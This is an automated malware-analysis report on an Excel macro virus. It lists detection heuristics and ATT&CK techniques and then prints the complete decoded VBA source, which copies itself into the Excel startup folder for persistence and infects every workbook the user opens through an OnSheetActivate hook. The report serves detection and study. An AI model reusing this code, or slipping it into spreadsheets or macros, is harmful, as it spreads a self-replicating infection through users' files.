MALICIOUS
108
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is an Excel file containing VBA macros. The `auto_open` subroutine sets an `OnSheetActivate` hook to execute `virus_sample`. This subroutine copies the current workbook into the Excel startup folder as 'VIRUS.XLS', establishing persistence. The VBA code also attempts to infect other workbooks by copying a sheet named 'virus' into them.
Heuristics 4
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCEThe macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.Matched line in script
ChDir Application.StartupPath -
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADERThe macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.Matched line in script
Application.OnSheetActivate = "virus_sample" -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub auto_open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2748 bytes |
SHA-256: d069bac6a567d2a6ff1ca0ccfe5197de8428a5ba971c6b6845145d81b317f1c7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "virus"
'
' virus sample ƒ}ƒNƒ�
' ϸۋL˜^“ú : 1997/9/10 Õ°»Þ°–¼ : ƒVƒXƒeƒ€ƒtƒ@ƒCƒu�iŠ”�j
'
'
Sub auto_open()
Attribute auto_open.VB_Description = "ϸۋL˜^“ú : 1997/9/10 Õ°»Þ°–¼ : ƒVƒXƒeƒ€ƒtƒ@ƒCƒu�iŠ”�j"
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "virus_sample"
'MsgBox ActiveWorkbook.Name & "!auto_open(�I—¹)"
End Sub
Sub virus_sample()
Attribute virus_sample.VB_ProcData.VB_Invoke_Func = " \n14"
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "VIRUS.XLS")
If m$ = "VIRUS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
virus_flag = p + w * 10
Select Case virus_flag
Case 10
'MsgBox ActiveWorkbook.Name & ": Case 10"
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("virus").Visible = True
Sheets("virus").Select
Sheets("virus").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs _
Filename:=Application.StartupPath & "/" & "VIRUS.XLS", _
FileFormat:=xlNormal, _
Password:="", _
WriteResPassword:="", _
ReadOnlyRecommended:=False, _
CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("virus").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "virus.xls!virus_sample"
Case 1
'MsgBox ActiveWorkbook.Name & ": Case 1"
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "virus" Then
Workbooks("VIRUS.XLS").Sheets("virus").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("virus").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "virus.xls!virus_sample"
Case Else
'MsgBox ActiveWorkbook.Name & ": Case Else"
End Select
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.